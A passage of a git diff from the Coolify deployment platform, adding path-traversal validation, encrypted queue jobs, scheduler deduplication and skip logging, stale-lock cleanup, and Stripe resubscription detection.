private function add_build_secrets_to_compose($composeFile) return $composeFile; } + private function validatePathField(string $value, string $fieldName): string + { + if (! preg_match(\App\Support\ValidationPatterns::FILE_PATH_PATTERN, $value)) { + throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters."); + } + if (str_contains($value, '..')) { + throw new \RuntimeException("Invalid {$fieldName}: path traversal detected."); + } + + return $value; + } + private function run_pre_deployment_command() { if (empty($this->application->pre_deployment_command)) { diff --git a/app/Jobs/CheckTraefikVersionForServerJob.php b/app/Jobs/CheckTraefikVersionForServerJob.php index 92ec4cbd4..91869eb12 100644 --- a/app/Jobs/CheckTraefikVersionForServerJob.php +++ b/app/Jobs/CheckTraefikVersionForServerJob.php @@ -6,12 +6,13 @@ use App\Models\Server; use App\Notifications\Server\TraefikVersionOutdated; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class CheckTraefikVersionForServerJob implements ShouldQueue +class CheckTraefikVersionForServerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/CheckTraefikVersionJob.php b/app/Jobs/CheckTraefikVersionJob.php index a513f280e..ac94aa23f 100644 --- a/app/Jobs/CheckTraefikVersionJob.php +++ b/app/Jobs/CheckTraefikVersionJob.php @@ -5,12 +5,13 @@ use App\Enums\ProxyTypes; use App\Models\Server; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class CheckTraefikVersionJob implements ShouldQueue +class CheckTraefikVersionJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index a585baa69..5fc9f6cd8 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -111,6 +111,12 @@ public function handle(): void $status = str(data_get($this->database, 'status')); if (! $status->startsWith('running') && $this->database->id !== 0) { + Log::info('DatabaseBackupJob skipped: database not running', [ + 'backup_id' => $this->backup->id, + 'database_id' => $this->database->id, + 'status' => (string) $status, + ]); + return; } if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { @@ -472,7 +478,7 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi throw new \Exception('MongoDB credentials not found. Ensure MONGO_INITDB_ROOT_USERNAME and MONGO_INITDB_ROOT_PASSWORD environment variables are available in the container.'); } } - \Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); + Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); if ($databaseWithCollections === 'all') { $commands[] = 'mkdir -p '.$this->backup_dir; if (str($this->database->image)->startsWith('mongo:4')) { diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index f3f3a2ae4..78ef7f3a2 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -91,6 +91,8 @@ public function handle(): void $this->server->team?->notify(new DockerCleanupSuccess($this->server, $message)); event(new DockerCleanupDone($this->execution_log)); + + return; } if ($this->usageBefore >= $this->server->settings->docker_cleanup_threshold) { diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index 5d018cf19..b1a12ae2a 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -24,6 +24,7 @@ use Illuminate\Queue\Middleware\WithoutOverlapping; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Laravel\Horizon\Contracts\Silenced; class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced @@ -130,7 +131,14 @@ public function handle() $this->containers = collect(data_get($data, 'containers')); $filesystemUsageRoot = data_get($data, 'filesystem_usage_root.used_percentage'); - ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot); + + // Only dispatch storage check when disk percentage actually changes + $storageCacheKey = 'storage-check:'.$this->server->id; + $lastPercentage = Cache::get($storageCacheKey); + if ($lastPercentage === null || (string) $lastPercentage !== (string) $filesystemUsageRoot) { + Cache::put($storageCacheKey, $filesystemUsageRoot, 600); + ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot); + } if ($this->containers->isEmpty()) { return; @@ -207,7 +215,7 @@ public function handle() $serviceId = $labels->get('coolify.serviceId'); $subType = $labels->get('coolify.service.subType'); $subId = $labels->get('coolify.service.subId'); - if (empty($subId)) { + if (empty(trim((string) $subId))) { continue; } if ($subType === 'application') { @@ -299,6 +307,8 @@ private function aggregateMultiContainerStatuses() if ($aggregatedStatus && $application->status !== $aggregatedStatus) { $application->status = $aggregatedStatus; $application->save(); + } elseif ($aggregatedStatus) { + $application->update(['last_online_at' => now()]); } continue; @@ -313,6 +323,8 @@ private function aggregateMultiContainerStatuses() if ($aggregatedStatus && $application->status !== $aggregatedStatus) { $application->status = $aggregatedStatus; $application->save(); + } elseif ($aggregatedStatus) { + $application->update(['last_online_at' => now()]); } } } @@ -327,6 +339,10 @@ private function aggregateServiceContainerStatuses() // Parse key: serviceId:subType:subId [$serviceId, $subType, $subId] = explode(':', $key); + if (empty($subId)) { + continue; + } + $service = $this->services->where('id', $serviceId)->first(); if (! $service) { continue; @@ -335,9 +351,9 @@ private function aggregateServiceContainerStatuses() // Get the service sub-resource (ServiceApplication or ServiceDatabase) $subResource = null; if ($subType === 'application') { - $subResource = $service->applications()->where('id', $subId)->first(); + $subResource = $service->applications->where('id', $subId)->first(); } elseif ($subType === 'database') { - $subResource = $service->databases()->where('id', $subId)->first(); + $subResource = $service->databases->where('id', $subId)->first(); } if (! $subResource) { @@ -359,6 +375,8 @@ private function aggregateServiceContainerStatuses() if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) { $subResource->status = $aggregatedStatus; $subResource->save(); + } elseif ($aggregatedStatus) { + $subResource->update(['last_online_at' => now()]); } continue; @@ -374,6 +392,8 @@ private function aggregateServiceContainerStatuses() if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) { $subResource->status = $aggregatedStatus; $subResource->save(); + } elseif ($aggregatedStatus) { + $subResource->update(['last_online_at' => now()]); } } } @@ -387,6 +407,8 @@ private function updateApplicationStatus(string $applicationId, string $containe if ($application->status !== $containerStatus) { $application->status = $containerStatus; $application->save(); + } else { + $application->update(['last_online_at' => now()]); } } @@ -401,6 +423,8 @@ private function updateApplicationPreviewStatus(string $applicationId, string $p if ($application->status !== $containerStatus) { $application->status = $containerStatus; $application->save(); + } else { + $application->update(['last_online_at' => now()]); } } @@ -476,8 +500,13 @@ private function updateProxyStatus() } catch (\Throwable $e) { } } else { - // Connect proxy to networks asynchronously to avoid blocking the status update - ConnectProxyToNetworksJob::dispatch($this->server); + // Connect proxy to networks periodically (every 10 min) to avoid excessive job dispatches. + // On-demand triggers (new network, service deploy) use dispatchSync() and bypass this. + $proxyCacheKey = 'connect-proxy:'.$this->server->id; + if (! Cache::has($proxyCacheKey)) { + Cache::put($proxyCacheKey, true, 600); + ConnectProxyToNetworksJob::dispatch($this->server); + } } } } @@ -491,6 +520,8 @@ private function updateDatabaseStatus(string $databaseUuid, string $containerSta if ($database->status !== $containerStatus) { $database->status = $containerStatus; $database->save(); + } else { + $database->update(['last_online_at' => now()]); } if ($this->isRunning($containerStatus) && $tcpProxy) { $tcpProxyContainerFound = $this->containers->filter(function ($value, $key) use ($databaseUuid) { @@ -528,8 +559,12 @@ private function updateNotFoundDatabaseStatus() $database = $this->databases->where('uuid', $databaseUuid)->first(); if ($database) { if (! str($database->status)->startsWith('exited')) { - $database->status = 'exited'; - $database->save(); + $database->update([ + 'status' => 'exited', + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + ]); } if ($database->is_public) { StopDatabaseProxy::dispatch($database); @@ -538,31 +573,6 @@ private function updateNotFoundDatabaseStatus() }); } - private function updateServiceSubStatus(string $serviceId, string $subType, string $subId, string $containerStatus) - { - $service = $this->services->where('id', $serviceId)->first(); - if (! $service) { - return; - } - if ($subType === 'application') { - $application = $service->applications()->where('id', $subId)->first(); - if ($application) { - if ($application->status !== $containerStatus) { - $application->status = $containerStatus; - $application->save(); - } - } - } elseif ($subType === 'database') { - $database = $service->databases()->where('id', $subId)->first(); - if ($database) { - if ($database->status !== $containerStatus) { - $database->status = $containerStatus; - $database->save(); - } - } - } - } - private function updateNotFoundServiceStatus() { $notFoundServiceApplicationIds = $this->allServiceApplicationIds->diff($this->foundServiceApplicationIds); diff --git a/app/Jobs/RegenerateSslCertJob.php b/app/Jobs/RegenerateSslCertJob.php index c0284e1ee..6f49cf30b 100644 --- a/app/Jobs/RegenerateSslCertJob.php +++ b/app/Jobs/RegenerateSslCertJob.php @@ -7,13 +7,14 @@ use App\Models\Team; use App\Notifications\SslExpirationNotification; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class RegenerateSslCertJob implements ShouldQueue +class RegenerateSslCertJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index 75ff883c2..e68e3b613 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -15,7 +15,9 @@ use Illuminate\Queue\SerializesModels; use Illuminate\Support\Carbon; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; +use Illuminate\Support\Facades\Redis; class ScheduledJobManager implements ShouldQueue { @@ -27,6 +29,10 @@ class ScheduledJobManager implements ShouldQueue */ private ?Carbon $executionTime = null; + private int $dispatchedCount = 0; + + private int $skippedCount = 0; + /** * Create a new job instance. */ @@ -50,6 +56,11 @@ private function determineQueue(): string */ public function middleware(): array { + // Self-healing: clear any stale lock before WithoutOverlapping tries to acquire it. + // Stale locks (TTL = -1) can occur during upgrades, Redis restarts, or edge cases. + // @see https://github.com/coollabsio/coolify/issues/8327 + self::clearStaleLockIfPresent(); + return [ (new WithoutOverlapping('scheduled-job-manager')) ->expireAfter(90) // Lock expires after 90s to handle high-load environments with many tasks @@ -57,10 +68,44 @@ public function middleware(): array ]; } + /** + * Clear a stale WithoutOverlapping lock if it has no TTL (TTL = -1). + * + * This provides continuous self-healing since it runs every time the job is dispatched. + * Stale locks permanently block all scheduled job executions with no user-visible error. + */ + private static function clearStaleLockIfPresent(): void + { + try { + $cachePrefix = config('cache.prefix', ''); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.self::class.':scheduled-job-manager'; + + $ttl = Redis::connection('default')->ttl($lockKey); + + if ($ttl === -1) { + Redis::connection('default')->del($lockKey); + Log::channel('scheduled')->warning('Cleared stale ScheduledJobManager lock', [ + 'lock_key' => $lockKey, + ]); + } + } catch (\Throwable $e) { + // Never let lock cleanup failure prevent the job from running + Log::channel('scheduled-errors')->error('Failed to check/clear stale lock', [ + 'error' => $e->getMessage(), + ]); + } + } + public function handle(): void { // Freeze the execution time at the start of the job $this->executionTime = Carbon::now(); + $this->dispatchedCount = 0; + $this->skippedCount = 0; + + Log::channel('scheduled')->info('ScheduledJobManager started', [ + 'execution_time' => $this->executionTime->toIso8601String(), + ]); // Process backups - don't let failures stop task processing try { @@ -91,6 +136,20 @@ public function handle(): void 'trace' => $e->getTraceAsString(), ]); } + + Log::channel('scheduled')->info('ScheduledJobManager completed', [ + 'execution_time' => $this->executionTime->toIso8601String(), + 'duration_ms' => $this->executionTime->diffInMilliseconds(Carbon::now()), + 'dispatched' => $this->dispatchedCount, + 'skipped' => $this->skippedCount, + ]); + + // Write heartbeat so the UI can detect when the scheduler has stopped + try { + Cache::put('scheduled-job-manager:heartbeat', now()->toIso8601String(), 300); + } catch (\Throwable) { + // Non-critical; don't let heartbeat failure affect the job + } } private function processScheduledBackups(): void @@ -101,12 +160,20 @@ private function processScheduledBackups(): void foreach ($backups as $backup) { try { - // Apply the same filtering logic as the original - if (! $this->shouldProcessBackup($backup)) { + $server = $backup->server(); + $skipReason = $this->getBackupSkipReason($backup, $server); + if ($skipReason !== null) { + $this->skippedCount++; + $this->logSkip('backup', $skipReason, [ + 'backup_id' => $backup->id, + 'database_id' => $backup->database_id, + 'database_type' => $backup->database_type, + 'team_id' => $backup->team_id ?? null, + ]); + continue; } - $server = $backup->server(); $serverTimezone = data_get($server->settings, 'server_timezone', config('app.timezone')); if (validate_timezone($serverTimezone) === false) { @@ -118,8 +185,16 @@ private function processScheduledBackups(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if ($this->shouldRunNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}")) { DatabaseBackupJob::dispatch($backup); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Backup dispatched', [ + 'backup_id' => $backup->id, + 'database_id' => $backup->database_id, + 'database_type' => $backup->database_type, + 'team_id' => $backup->team_id ?? null, + 'server_id' => $server->id, + ]); } } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing backup', [ @@ -138,11 +213,21 @@ private function processScheduledTasks(): void foreach ($tasks as $task) { try { - if (! $this->shouldProcessTask($task)) { + $server = $task->server(); + + // Phase 1: Critical checks (always — cheap, handles orphans and infra issues) + $criticalSkip = $this->getTaskCriticalSkipReason($task, $server); + if ($criticalSkip !== null) { + $this->skippedCount++; + $this->logSkip('task', $criticalSkip, [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server?->team_id, + ]); + continue; } - $server = $task->server(); $serverTimezone = data_get($server->settings, 'server_timezone', config('app.timezone')); if (validate_timezone($serverTimezone) === false) { @@ -154,9 +239,31 @@ private function processScheduledTasks(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone)) { - ScheduledTaskJob::dispatch($task); + if (! $this->shouldRunNow($frequency, $serverTimezone, "scheduled-task:{$task->id}")) { + continue; } + + // Phase 2: Runtime checks (only when cron is due — avoids noise for stopped resources) + $runtimeSkip = $this->getTaskRuntimeSkipReason($task); + if ($runtimeSkip !== null) { + $this->skippedCount++; + $this->logSkip('task', $runtimeSkip, [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server->team_id, + ]); + + continue; + } + + ScheduledTaskJob::dispatch($task); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Task dispatched', [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server->team_id, + 'server_id' => $server->id, + ]); } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing task', [ 'task_id' => $task->id, @@ -166,79 +273,112 @@ private function processScheduledTasks(): void } } - private function shouldProcessBackup(ScheduledDatabaseBackup $backup): bool + private function getBackupSkipReason(ScheduledDatabaseBackup $backup, ?Server $server): ?string { if (blank(data_get($backup, 'database'))) { $backup->delete(); - return false; + return 'database_deleted'; } - $server = $backup->server(); if (blank($server)) { $backup->delete(); - return false; + return 'server_deleted'; } if ($server->isFunctional() === false) { - return false; + return 'server_not_functional'; } if (isCloud() && data_get($server->team->subscription, 'stripe_invoice_paid', false) === false && $server->team->id !== 0) { - return false; + return 'subscription_unpaid'; } - return true; + return null; } - private function shouldProcessTask(ScheduledTask $task): bool + private function getTaskCriticalSkipReason(ScheduledTask $task, ?Server $server): ?string { - $service = $task->service; - $application = $task->application; - - $server = $task->server(); if (blank($server)) { $task->delete(); - return false; + return 'server_deleted'; } if ($server->isFunctional() === false) { - return false; + return 'server_not_functional'; } if (isCloud() && data_get($server->team->subscription, 'stripe_invoice_paid', false) === false && $server->team->id !== 0) { - return false; + return 'subscription_unpaid'; } - if (! $service && ! $application) { + if (! $task->service && ! $task->application) { $task->delete(); - return false; + return 'resource_deleted'; } - if ($application && str($application->status)->contains('running') === false) { - return false; - } - - if ($service && str($service->status)->contains('running') === false) { - return false; - } - - return true; + return null; } - private function shouldRunNow(string $frequency, string $timezone): bool + private function getTaskRuntimeSkipReason(ScheduledTask $task): ?string + { + if ($task->application && str($task->application->status)->contains('running') === false) { + return 'application_not_running'; + } + + if ($task->service && str($task->service->status)->contains('running') === false) { + return 'service_not_running'; + } + + return null; + } + + /** + * Determine if a cron schedule should run now. + * + * When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking + * instead of isDue(). This is resilient to queue delays — even if the job is delayed + * by minutes, it still catches the missed cron window. Without dedupKey, falls back + * to simple isDue() check. + */ + private function shouldRunNow(string $frequency, string $timezone, ?string $dedupKey = null): bool { $cron = new CronExpression($frequency); - - // Use the frozen execution time, not the current time - // Fallback to current time if execution time is not set (shouldn't happen) $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone); - return $cron->isDue($executionTime); + // No dedup key → simple isDue check (used by docker cleanups) + if ($dedupKey === null) { + return $cron->isDue($executionTime); + } + + // Get the most recent time this cron was due (including current minute) + $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + + $lastDispatched = Cache::get($dedupKey); + + if ($lastDispatched === null) { + // First run after restart or cache loss: only fire if actually due right now. + // Seed the cache so subsequent runs can use tolerance/catch-up logic. + $isDue = $cron->isDue($executionTime); + if ($isDue) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + } + + return $isDue; + } + + // Subsequent runs: fire if there's been a due time since last dispatch + if ($previousDue->gt(Carbon::parse($lastDispatched))) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + + return true; + } + + return false; } private function processDockerCleanups(): void @@ -248,7 +388,15 @@ private function processDockerCleanups(): void foreach ($servers as $server) { try { - if (! $this->shouldProcessDockerCleanup($server)) { + $skipReason = $this->getDockerCleanupSkipReason($server); + if ($skipReason !== null) { + $this->skippedCount++; + $this->logSkip('docker_cleanup', $skipReason, [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'team_id' => $server->team_id, + ]); + continue; } @@ -270,6 +418,12 @@ private function processDockerCleanups(): void $server->settings->delete_unused_volumes, $server->settings->delete_unused_networks ); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Docker cleanup dispatched', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'team_id' => $server->team_id, + ]); } } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing docker cleanup', [ @@ -296,19 +450,28 @@ private function getServersForCleanup(): Collection return $query->get(); } - private function shouldProcessDockerCleanup(Server $server): bool + private function getDockerCleanupSkipReason(Server $server): ?string { if (! $server->isFunctional()) { - return false; + return 'server_not_functional'; } // In cloud, check subscription status (except team 0) if (isCloud() && $server->team_id !== 0) { if (data_get($server->team->subscription, 'stripe_invoice_paid', false) === false) { - return false; + return 'subscription_unpaid'; } } - return true; + return null; + } + + private function logSkip(string $type, string $reason, array $context = []): void + { + Log::channel('scheduled')->info(ucfirst(str_replace('_', ' ', $type)).' skipped', array_merge([ + 'type' => $type, + 'skip_reason' => $reason, + 'execution_time' => $this->executionTime?->toIso8601String(), + ], $context)); } } diff --git a/app/Jobs/ScheduledTaskJob.php b/app/Jobs/ScheduledTaskJob.php index b21bc11a1..49b9b9702 100644 --- a/app/Jobs/ScheduledTaskJob.php +++ b/app/Jobs/ScheduledTaskJob.php @@ -14,13 +14,14 @@ use App\Notifications\ScheduledTask\TaskSuccess; use Carbon\Carbon; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class ScheduledTaskJob implements ShouldQueue +class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/SendMessageToSlackJob.php b/app/Jobs/SendMessageToSlackJob.php index fcd87a9dd..f869fd602 100644 --- a/app/Jobs/SendMessageToSlackJob.php +++ b/app/Jobs/SendMessageToSlackJob.php @@ -4,16 +4,27 @@ use App\Notifications\Dto\SlackMessage; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Http; -class SendMessageToSlackJob implements ShouldQueue +class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + /** + * The number of times the job may be attempted. + */ + public $tries = 5; + + /** + * The number of seconds to wait before retrying the job. + */ + public $backoff = 10; + public function __construct( private SlackMessage $message, private string $webhookUrl diff --git a/app/Jobs/SendMessageToTelegramJob.php b/app/Jobs/SendMessageToTelegramJob.php index 6b0a64ae3..6b04d2191 100644 --- a/app/Jobs/SendMessageToTelegramJob.php +++ b/app/Jobs/SendMessageToTelegramJob.php @@ -22,6 +22,11 @@ class SendMessageToTelegramJob implements ShouldBeEncrypted, ShouldQueue */ public $tries = 5; + /** + * The number of seconds to wait before retrying the job. + */ + public $backoff = 10; + /** * The maximum number of unhandled exceptions to allow before failing. */ diff --git a/app/Jobs/ServerLimitCheckJob.php b/app/Jobs/ServerLimitCheckJob.php index aa82c6dad..06e94fc93 100644 --- a/app/Jobs/ServerLimitCheckJob.php +++ b/app/Jobs/ServerLimitCheckJob.php @@ -38,7 +38,7 @@ public function handle() $server->forceDisableServer(); $this->team->notify(new ForceDisabled($server)); }); - } elseif ($number_of_servers_to_disable === 0) { + } elseif ($number_of_servers_to_disable <= 0) { $servers->each(function ($server) { if ($server->isForceDisabled()) { $server->forceEnableServer(); diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index a4619354d..730ce547d 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -7,6 +7,7 @@ use App\Models\Team; use Cron\CronExpression; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; @@ -15,7 +16,7 @@ use Illuminate\Support\Collection; use Illuminate\Support\Facades\Log; -class ServerManagerJob implements ShouldQueue +class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; @@ -64,11 +65,11 @@ public function handle(): void private function getServers(): Collection { - $allServers = Server::where('ip', '!=', '1.2.3.4'); + $allServers = Server::with('settings')->where('ip', '!=', '1.2.3.4'); if (isCloud()) { $servers = $allServers->whereRelation('team.subscription', 'stripe_invoice_paid', true)->get(); - $own = Team::find(0)->servers; + $own = Team::find(0)->servers()->with('settings')->get(); return $servers->merge($own); } else { @@ -82,6 +83,10 @@ private function dispatchConnectionChecks(Collection $servers): void if ($this->shouldRunNow($this->checkFrequency)) { $servers->each(function (Server $server) { try { + // Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity + if ($server->isSentinelEnabled() && $server->isSentinelLive()) { + return; + } ServerConnectionCheckJob::dispatch($server); } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Failed to dispatch ServerConnectionCheck', [ @@ -134,9 +139,7 @@ private function processServerTasks(Server $server): void // Dispatch Sentinel restart if due (daily for Sentinel-enabled servers) if ($shouldRestartSentinel) { - dispatch(function () use ($server) { - $server->restartContainer('coolify-sentinel'); - }); + CheckAndStartSentinelJob::dispatch($server); } // Dispatch ServerStorageCheckJob if due (only when Sentinel is out of sync or disabled) @@ -160,11 +163,8 @@ private function processServerTasks(Server $server): void ServerPatchCheckJob::dispatch($server); } - // Sentinel update checks (hourly) - check for updates to Sentinel version - // No timezone needed for hourly - runs at top of every hour - if ($isSentinelEnabled && $this->shouldRunNow('0 * * * *')) { - CheckAndStartSentinelJob::dispatch($server); - } + // Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates. + // Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob. } private function shouldRunNow(string $frequency, ?string $timezone = null): bool diff --git a/app/Jobs/StripeProcessJob.php b/app/Jobs/StripeProcessJob.php index aebceaa6d..e61ac81e4 100644 --- a/app/Jobs/StripeProcessJob.php +++ b/app/Jobs/StripeProcessJob.php @@ -4,11 +4,12 @@ use App\Models\Subscription; use App\Models\Team; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Queue\Queueable; use Illuminate\Support\Str; -class StripeProcessJob implements ShouldQueue +class StripeProcessJob implements ShouldBeEncrypted, ShouldQueue { use Queueable; diff --git a/app/Jobs/SyncStripeSubscriptionsJob.php b/app/Jobs/SyncStripeSubscriptionsJob.php index 9eb946e4d..0e221756d 100644 --- a/app/Jobs/SyncStripeSubscriptionsJob.php +++ b/app/Jobs/SyncStripeSubscriptionsJob.php @@ -4,12 +4,13 @@ use App\Models\Subscription; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class SyncStripeSubscriptionsJob implements ShouldQueue +class SyncStripeSubscriptionsJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; @@ -22,7 +23,7 @@ public function __construct(public bool $fix = false) $this->onQueue('high'); } - public function handle(): array + public function handle(?\Closure $onProgress = null): array { if (! isCloud() || ! isStripe()) { return ['error' => 'Not running on Cloud or Stripe not configured']; @@ -33,48 +34,73 @@ public function handle(): array ->get(); $stripe = new \Stripe\StripeClient(config('subscription.stripe_api_key')); + + // Bulk fetch all valid subscription IDs from Stripe (active + past_due) + $validStripeIds = $this->fetchValidStripeSubscriptionIds($stripe, $onProgress); + + // Find DB subscriptions not in the valid set + $staleSubscriptions = $subscriptions->filter( + fn (Subscription $sub) => ! in_array($sub->stripe_subscription_id, $validStripeIds) + ); + + // For each stale subscription, get the exact Stripe status and check for resubscriptions $discrepancies = []; + $resubscribed = []; $errors = []; - foreach ($subscriptions as $subscription) { + foreach ($staleSubscriptions as $subscription) { try { $stripeSubscription = $stripe->subscriptions->retrieve( $subscription->stripe_subscription_id ); + $stripeStatus = $stripeSubscription->status; - // Check if Stripe says cancelled but we think it's active - if (in_array($stripeSubscription->status, ['canceled', 'incomplete_expired', 'unpaid'])) { - $discrepancies[] = [ - 'subscription_id' => $subscription->id, - 'team_id' => $subscription->team_id, - 'stripe_subscription_id' => $subscription->stripe_subscription_id, - 'stripe_status' => $stripeSubscription->status, - ]; - - // Only fix if --fix flag is passed - if ($this->fix) { - $subscription->update([ - 'stripe_invoice_paid' => false, - 'stripe_past_due' => false, - ]); - - if ($stripeSubscription->status === 'canceled') { - $subscription->team?->subscriptionEnded(); - } - } - } - - // Small delay to avoid Stripe rate limits - usleep(100000); // 100ms + usleep(100000); // 100ms rate limit delay } catch (\Exception $e) { $errors[] = [ 'subscription_id' => $subscription->id, 'error' => $e->getMessage(), ]; + + continue; + } + + // Check if this user resubscribed under a different customer/subscription + $activeSub = $this->findActiveSubscriptionByEmail($stripe, $stripeSubscription->customer); + if ($activeSub) { + $resubscribed[] = [ + 'subscription_id' => $subscription->id, + 'team_id' => $subscription->team_id, + 'email' => $activeSub['email'], + 'old_stripe_subscription_id' => $subscription->stripe_subscription_id, + 'old_stripe_customer_id' => $stripeSubscription->customer, + 'new_stripe_subscription_id' => $activeSub['subscription_id'], + 'new_stripe_customer_id' => $activeSub['customer_id'], + 'new_status' => $activeSub['status'], + ]; + + continue; + } + + $discrepancies[] = [ + 'subscription_id' => $subscription->id, + 'team_id' => $subscription->team_id, + 'stripe_subscription_id' => $subscription->stripe_subscription_id, + 'stripe_status' => $stripeStatus, + ]; + + if ($this->fix) { + $subscription->update([ + 'stripe_invoice_paid' => false, + 'stripe_past_due' => false, + ]); + + if ($stripeStatus === 'canceled') { + $subscription->team?->subscriptionEnded(); + } } } - // Only notify if discrepancies found and fixed if ($this->fix && count($discrepancies) > 0) { send_internal_notification( 'SyncStripeSubscriptionsJob: Fixed '.count($discrepancies)." discrepancies:\n". @@ -85,8 +111,88 @@ public function handle(): array return [ 'total_checked' => $subscriptions->count(), 'discrepancies' => $discrepancies, + 'resubscribed' => $resubscribed, 'errors' => $errors, 'fixed' => $this->fix, ]; } + + /** + * Given a Stripe customer ID, get their email and search for other customers + * with the same email that have an active subscription. + * + * @return array{email: string, customer_id: string, subscription_id: string, status: string}|null + */ + private function findActiveSubscriptionByEmail(\Stripe\StripeClient $stripe, string $customerId): ?array + { + try { + $customer = $stripe->customers->retrieve($customerId); + $email = $customer->email; + + if (! $email) { + return null; + } + + usleep(100000); + + $customers = $stripe->customers->all([ + 'email' => $email, + 'limit' => 10, + ]); + + usleep(100000); + + foreach ($customers->data as $matchingCustomer) { + if 